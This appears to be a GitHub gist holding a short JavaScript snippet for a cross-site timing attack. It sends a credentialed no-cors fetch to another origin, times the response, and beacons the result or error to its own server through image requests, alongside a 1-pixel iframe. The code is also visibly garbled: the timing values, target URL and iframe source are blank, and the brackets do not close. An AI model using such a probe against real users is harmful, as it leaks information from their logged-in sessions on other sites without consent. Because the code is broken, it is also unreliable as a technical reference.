Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
setTimeout(() => {
(new Image()).src='/start';
var start =;
fetch("", {
mode: "no-cors",
credentials: "include"
}).then((response) => {
var end =;
(new Image()).src = '/time.html?time=' + (end - start);
}).catch(err => {
(new Image()).src = '/err?' + (err);
}, 1200);
<iframe width=1 height=1 src=""></iframe>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.